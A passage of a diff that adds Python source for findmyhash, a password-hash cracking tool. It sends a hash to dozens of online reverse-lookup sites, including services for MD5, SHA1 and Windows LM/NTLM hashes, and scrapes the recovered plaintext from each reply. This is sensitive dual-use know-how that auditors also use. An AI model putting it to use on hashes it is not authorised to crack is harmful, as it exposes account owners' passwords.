+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL and the headers
+		url = "http://www.hashchecker.com/index.php"
+		
+		# Build the parameters
+		params = { "search_field" : hashvalue,
+			   "Submit" : "search" }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'<td><li>Your md5 hash is :<br><li>[^\s]* is <b>[^<]*</b> used charlist :2</td>', html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+		else:
+			return None
+
+
+
+class MD5HASHCRACKER:
+	
+	name = 		"md5hashcracker"
+	url = 		"http://md5hashcracker.appspot.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5hashcracker.appspot.com/crack"
+		
+		# Build the parameters
+		params = { "query" : hashvalue,
+			   "submit" : "Crack" }
+		
+		# Make the firt request
+		response = do_HTTP_request ( url, params )
+		
+		# Build the second URL
+		url = "http://md5hashcracker.appspot.com/status"
+		
+		# Make the second request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<td id="cra[^"]*">not cracked</td>', html)
+		
+		if not match:
+			match = search (r'<td id="cra[^"]*">cracked</td>', html)
+			regexp = r'<td id="pla_' + match.group().split('"')[1][4:] + '">[^<]*</td>'
+			match2 = search (regexp, html)
+			if match2:
+				return match2.group().split('>')[1][:-4]
+			
+		else:
+			return None
+
+
+
+class PASSCRACKING:
+	
+	name = 		"passcracking"
+	url = 		"http://passcracking.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL 
+		url = "http://passcracking.com/index.php"
+		
+		# Build the parameters
+		boundary = "-----------------------------" + str(randint(1000000000000000000000000000,9999999999999999999999999999))
+		params = [ '--' + boundary, 
+			   'Content-Disposition: form-data; name="admin"', 
+			   '', 
+			   'false', 
+			   
+			   '--' + boundary, 
+			   'Content-Disposition: form-data; name="admin2"', 
+			   '', 
+			   '77.php', 
+			   
+			   '--' + boundary, 
+			   'Content-Disposition: form-data; name="datafromuser"', 
+			   '', 
+			   '%s' % (hashvalue) , 
+			   
+			   '--' + boundary + '--', '' ]
+		body = '\r\n'.join(params)
+
+		# Build the headers
+		headers = { "Content-Type" : "multipart/form-data; boundary=%s" % (boundary),
+		            "Content-length" : len(body) }
+		
+			   
+		# Make the request
+		request = urllib2.Request ( url )
+		request.add_header ( "Content-Type", "multipart/form-data; boundary=%s" % (boundary) )
+		request.add_header ( "Content-length", len(body) )
+		request.add_data(body)
+		try:
+			response = urllib2.urlopen(request)
+		except:
+			return None
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'<td>md5 Database</td><td>[^<]*</td><td bgcolor=.FF0000>[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[5][:-4]
+		else:
+			return None
+
+
+class ASKCHECK:
+	
+	name = 		"askcheck"
+	url = 		"http://askcheck.com"
+	supported_algorithm = [MD4, MD5, SHA1, SHA256]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://askcheck.com/reverse?reverse=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+			
+		match = search (r'Reverse value of [^\s]* hash <a[^<]*</a> is <a[^>]*>[^<]*</a>', html)
+		
+		if match:
+			return match.group().split('>')[3][:-3]
+		else:
+			return None
+
+
+
+class FOX21:
+	
+	name = 		"fox21"
+	url = 		"http://cracker.fox21.at"
+	supported_algorithm = [MD5, LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		hash2 = None
+		if alg in [LM, NTLM] and ':' in hashvalue:
+			if alg == LM:
+				hash2 = hashvalue.split(':')[0]
+			else:
+				hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		
+		# Build the URL
+		url = "http://cracker.fox21.at/api.php?a=check&h=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		xml = None
+		if response:
+			try:
+				doc = parseDoc ( response.read() )
+			except:
+				print "INFO: You need libxml2 to use this plugin."
+				return None
+		else:
+			return None
+		
+		result = doc.xpathEval("//hash/@plaintext")
+		
+		if result:
+			return result[0].content
+		else:
+			return None
+
+
+class NICENAMECREW:
+	
+	name = 		"nicenamecrew"
+	url = 		"http://crackfoo.nicenamecrew.com"
+	supported_algorithm = [MD5, SHA1, LM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		hash2 = None
+		if alg in [LM] and ':' in hashvalue:
+			hash2 = hashvalue.split(':')[0]
+		else:
+			hash2 = hashvalue
+			
+		# Build the URL
+		url = "http://crackfoo.nicenamecrew.com/?t=%s" % (alg)
+		
+		# Build the parameters
+		params = { "q" : hash2,
+			   "sa" : "Crack" }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'The decrypted version of [^\s]* is:<br><strong>[^<]*</strong>', html)
+		
+		if match:
+			return match.group().split('strong>')[1][:-2].strip()
+		else:
+			return None
+
+
+
+class JOOMLAAA:
+	
+	name = 		"joomlaaa"
+	url = 		"http://joomlaaa.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://joomlaaa.com/component/option,com_md5/Itemid,31/"
+		
+		# Build the parameters
+		params = { "md5" : hashvalue,
+			   "decode" : "Submit" }
+			   
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r"<td class='title1'>not available</td>", html)
+		
+		if not match:
+			match2 = findall (r"<td class='title1'>[^<]*</td>", html)
+			return match2[1].split('>')[1][:-4]
+		else:
+			return None
+
+
+
+class MD5_LOOKUP:
+	
+	name = 		"md5-lookup"
+	url = 		"http://md5-lookup.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+class SHA1_LOOKUP:
+	
+	name = 		"sha1-lookup"
+	url = 		"http://sha1-lookup.com"
+	supported_algorithm = [SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://sha1-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+class SHA256_LOOKUP:
+	
+	name = 		"sha256-lookup"
+	url = 		"http://sha-256.sha1-lookup.com"
+	supported_algorithm = [SHA256]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://sha-256.sha1-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+
+class RIPEMD160_LOOKUP:
+	
+	name = 		"ripemd-lookup"
+	url = 		"http://www.ripemd-lookup.com"
+	supported_algorithm = [RIPEMD]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.ripemd-lookup.com/livesearch.php?q=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<td width="250">[^<]*</td>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-4]
+		else:
+			return None
+
+
+
+class MD5_COM_CN:
+	
+	name = 		"md5.com.cn"
+	url = 		"http://md5.com.cn"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.com.cn/md5reverse"
+		
+		# Build the parameters
+		params = { "md" : hashvalue,
+			   "submit" : "MD5 Crack" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<b style="color:red;">[^<]*</b><br/><span', html)
+		
+		if match:
+			return match.group().split('>')[1][:-3]
+		else:
+			return None
+
+
+
+
+
+class DIGITALSUN:
+	
+	name = 		"digitalsun.pl"
+	url = 		"http://md5.digitalsun.pl"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.digitalsun.pl/"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<b>[^<]*</b> == [^<]*<br>\s*<br>', html)
+		
+		if match:
+			return match.group().split('b>')[1][:-2]
+		else:
+			return None
+
+
+
+class DRASEN:
+	
+	name = 		"drasen.net"
+	url = 		"http://md5.drasen.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.drasen.net/search.php?query=%s" % (hashvalue)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'Hash: [^<]*<br />Plain: [^<]*<br />', html)
+		
+		if match:
+			return match.group().split('<br />')[1][7:]
+		else:
+			return None
+
+
+
+
+class MYINFOSEC:
+	
+	name = 		"myinfosec"
+	url = 		"http://md5.myinfosec.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.myinfosec.net/md5.php"
+		
+		# Build the parameters
+		params = { "md5hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<center></center>[^<]*<font color=green>[^<]*</font><br></center>', html)
+		
+		if match:
+			return match.group().split('>')[3][:-6]
+		else:
+			return None
+
+
+
+class MD5_NET:
+	
+	name = 		"md5.net"
+	url = 		"http://md5.net"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://www.md5.net/cracker.php"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<input type="text" id="hash" size="32" value="[^"]*"/>', html)
+		
+		if match:
+			return match.group().split('"')[7]
+		else:
+			return None
+
+
+
+
+class NOISETTE:
+	
+	name = 		"noisette.ch"
+	url = 		"http://md5.noisette.ch"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5.noisette.ch/index.php"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<p>String to hash : <input name="text" value="[^"]+"/>', html)
+		
+		if match:
+			return match.group().split('"')[3]
+		else:
+			return None
+
+
+
+
+class MD5HOOD:
+	
+	name = 		"md5hood"
+	url = 		"http://md5hood.com"
+	supported_algorithm = [MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://md5hood.com/index.php/cracker/crack"
+		
+		# Build the parameters
+		params = { "md5" : hashvalue,
+			   "submit" : "Go" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<div class="result_true">[^<]*</div>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-5]
+		else:
+			return None
+
+
+
+class STRINGFUNCTION:
+	
+	name = 		"stringfunction"
+	url = 		"http://www.stringfunction.com"
+	supported_algorithm = [MD5, SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = ""
+		if alg == MD5:
+			url = "http://www.stringfunction.com/md5-decrypter.html"
+		else:
+			url = "http://www.stringfunction.com/sha1-decrypter.html"
+		
+		# Build the parameters
+		params = { "string" : hashvalue,
+			   "submit" : "Decrypt",
+			   "result" : "" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<textarea class="textarea-input-tool-b" rows="10" cols="50" name="result"[^>]*>[^<]+</textarea>', html)
+		
+		if match:
+			return match.group().split('>')[1][:-10]
+		else:
+			return None
+
+
+
+
+
+class XANADREL:
+	
+	name = 		"99k.org"
+	url = 		"http://xanadrel.99k.org"
+	supported_algorithm = [MD4, MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://xanadrel.99k.org/hashes/index.php?k=search"
+		
+		# Build the parameters
+		params = { "hash" : hashvalue,
+			   "search" : "ok" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<p>Hash : [^<]*<br />Type : [^<]*<br />Plain : "[^"]*"<br />', html)
+		
+		if match:
+			return match.group().split('"')[1]
+		else:
+			return None
+
+
+
+
+class SANS:
+	
+	name = 		"sans"
+	url = 		"http://isc.sans.edu"
+	supported_algorithm = [MD5, SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://isc.sans.edu/tools/reversehash.html"
+		
+		# Build the Headers with a random User-Agent
+		headers = { "User-Agent" : USER_AGENTS[randint(0, len(USER_AGENTS))-1] }
+		
+		# Build the parameters
+		response = do_HTTP_request ( url, httpheaders=headers )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<input type="hidden" name="token" value="[^"]*" />', html)
+		token = ""
+		if match:
+			token = match.group().split('"')[5]
+		else:
+			return None
+		
+		params = { "token" : token,
+			   "text" : hashvalue,
+			   "word" : "",
+			   "submit" : "Submit" }
+		
+		# Build the Headers with the Referer header
+		headers["Referer"] = "http://isc.sans.edu/tools/reversehash.html"
+		
+		# Make the request
+		response = do_HTTP_request ( url, params, headers )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'... hash [^\s]* = [^\s]*\s*</p><br />', html)
+		
+		if match:
+			print "hola mundo"
+			return match.group().split('=')[1][:-10].strip()
+		else:
+			return None
+
+
+
+class BOKEHMAN:
+	
+	name = 		"bokehman"
+	url = 		"http://bokehman.com"
+	supported_algorithm = [MD4, MD5]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+		
+		# Build the URL
+		url = "http://bokehman.com/cracker/"
+		
+		# Build the parameters from the main page
+		response = do_HTTP_request ( url )
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		match = search (r'<input type="hidden" name="PHPSESSID" id="PHPSESSID" value="[^"]*" />', html)
+		phpsessnid = ""
+		if match:
+			phpsessnid = match.group().split('"')[7]
+		else:
+			return None
+		match = search (r'<input type="hidden" name="key" id="key" value="[^"]*" />', html)
+		key = ""
+		if match:
+			key = match.group().split('"')[7]
+		else:
+			return None
+		
+		params = { "md5" : hashvalue,
+			   "PHPSESSID" : phpsessnid,
+			   "key" : key,
+			   "crack" : "Try to crack it" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<tr><td>[^<]*</td><td>[^<]*</td><td>[^s]*seconds</td></tr>', html)
+		
+		if match:
+			return match.group().split('td>')[1][:-2]
+		else:
+			return None
+
+
+
+class GOOG_LI:
+
+	name = 		"goog.li"
+	url = 		"http://goog.li"
+	supported_algorithm = [MD5, MYSQL, SHA1, SHA224, SHA384, SHA256, SHA512, RIPEMD, NTLM, GOST, WHIRLPOOL, LDAP_MD5, LDAP_SHA1]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+			
+		hash2 = None
+		if alg in [NTLM] and ':' in hashvalue:
+			hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		# Confirm the initial '*' character
+		if alg == MYSQL and hash2[0] != '*':
+			hash2 = '*' + hash2
+		
+		# Build the URL
+		url = "http://goog.li/?q=%s" % (hash2)
+		
+		# Make the request
+		response = do_HTTP_request ( url )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<br />cleartext[^:]*: [^<]*<br />', html)
+		
+		if match:
+			return match.group().split(':')[1].strip()[:-6]
+		else:
+			return None
+
+
+
+class WHREPORITORY:
+
+	name = 		"Windows Hashes Repository"
+	url = 		"http://nediam.com.mx"
+	supported_algorithm = [LM, NTLM]
+	
+	def isSupported (self, alg):
+		"""Return True if HASHCRACK can crack this type of algorithm and
+		False if it cannot."""
+		
+		if alg in self.supported_algorithm:
+			return True
+		else:
+			return False
+
+
+	def crack (self, hashvalue, alg):
+		"""Try to crack the hash.
+		@param hashvalue Hash to crack.
+		@param alg Algorithm to crack."""
+		
+		# Check if the cracker can crack this kind of algorithm
+		if not self.isSupported (alg):
+			return None
+			
+		hash2 = None
+		if ':' in hashvalue:
+			if alg == LM:
+				hash2 = hashvalue.split(':')[0]
+			else:
+				hash2 = hashvalue.split(':')[1]
+		else:
+			hash2 = hashvalue
+		
+		# Build the URL, parameters and headers
+		url = ""
+		params = None
+		headers = None
+		if alg == LM:
+			url = "http://nediam.com.mx/winhashes/search_lm_hash.php"
+			params = { "lm" : hash2,
+				"btn_go" : "Search" }
+			headers = { "Referer" : "http://nediam.com.mx/winhashes/search_lm_hash.php" }
+		else:
+			url = "http://nediam.com.mx/winhashes/search_nt_hash.php"
+			params = { "nt" : hash2,
+				"btn_go" : "Search" }
+			headers = { "Referer" : "http://nediam.com.mx/winhashes/search_nt_hash.php" }
+		
+		# Make the request
+		response = do_HTTP_request ( url, params, headers )
+		
+		# Analyze the response
+		html = None
+		if response:
+			html = response.read()
+		else:
+			return None
+		
+		match = search (r'<tr><td align="right">PASSWORD</td><td>[^<]*</td></tr>', html)
+		
+		if match:
+			return match.group().split(':')[1]
+		else:
+			return None
+
+
+
+CRAKERS = [ 	SCHWETT,
+		NETMD5CRACK,
+		MD5_CRACKER,
+		BENRAMSEY,
+		GROMWEB,
+		HASHCRACKING,
+		VICTOROV,
+		THEKAINE,
+		TMTO,
+		REDNOIZE,
+		MD5_DB,
+		MY_ADDR,
+		MD5PASS,
+		MD5DECRYPTION,
+		MD5CRACK,
+		MD5ONLINE,
+		MD5_DECRYPTER,
+		AUTHSECUMD5,
+		HASHCRACK,
+		OPHCRACK,
+		C0LLISION,
+		CMD5,
+		AUTHSECUCISCO7,
+		CACIN,
+		IBEAST,
+		PASSWORD_DECRYPT,
+		BIGTRAPEZE,
+		HASHCHECKER,
+		MD5HASHCRACKER,
+		PASSCRACKING,
+		ASKCHECK,
+		FOX21,
+		NICENAMECREW,
+		JOOMLAAA,
+		MD5_LOOKUP,
+		SHA1_LOOKUP,
+		SHA256_LOOKUP,
+		RIPEMD160_LOOKUP,
+		MD5_COM_CN,
+		DIGITALSUN,
+		DRASEN,
+		MYINFOSEC,
+		MD5_NET,
+		NOISETTE,
+		MD5HOOD,
+		STRINGFUNCTION,
+		XANADREL,
+		SANS,
+		BOKEHMAN,
+		GOOG_LI,
+		WHREPORITORY ]
+
+
+
+########################################################################################################
+### GENERAL METHODS
+########################################################################################################
+
+def configureCookieProcessor (cookiefile='/tmp/searchmyhash.cookie'):
+	'''Set a Cookie Handler to accept cookies from the different Web sites.
+	
+	@param cookiefile Path of the cookie store.'''
+	
+	cookieHandler = LWPCookieJar()
+	if cookieHandler is not None:
+		if path.isfile (cookiefile):
+			cookieHandler.load (cookiefile)
+			
+		opener = urllib2.build_opener ( urllib2.HTTPCookieProcessor(cookieHandler) )
+		urllib2.install_opener (opener)
+
+
+
+def do_HTTP_request (url, params={}, httpheaders={}):
+	'''
+	Send a GET or POST HTTP Request.
+	@return: HTTP Response
+	'''
+
+	data = {}
+	request = None
+	
+	# If there is parameters, they are been encoded
+	if params:
+		data = urlencode(params)
+
+		request = urllib2.Request ( url, data, headers=httpheaders )
+	else:
+		request = urllib2.Request ( url, headers=httpheaders )
+		
+	# Send the request
+	try:
+		response = urllib2.urlopen (request)
+	except:
+		return ""
+	
+	return response
+
+
+def printSyntax ():
+	"""Print application syntax."""
+	
+	print """%s 1.1.2 ( http://code.google.com/p/findmyhash/ )
+
+Usage: 
+------
+
+  python %s <algorithm> OPTIONS
+
+
+Accepted algorithms are:
+------------------------
+
+  MD4       - RFC 1320
+  MD5       - RFC 1321
+  SHA1      - RFC 3174 (FIPS 180-3)
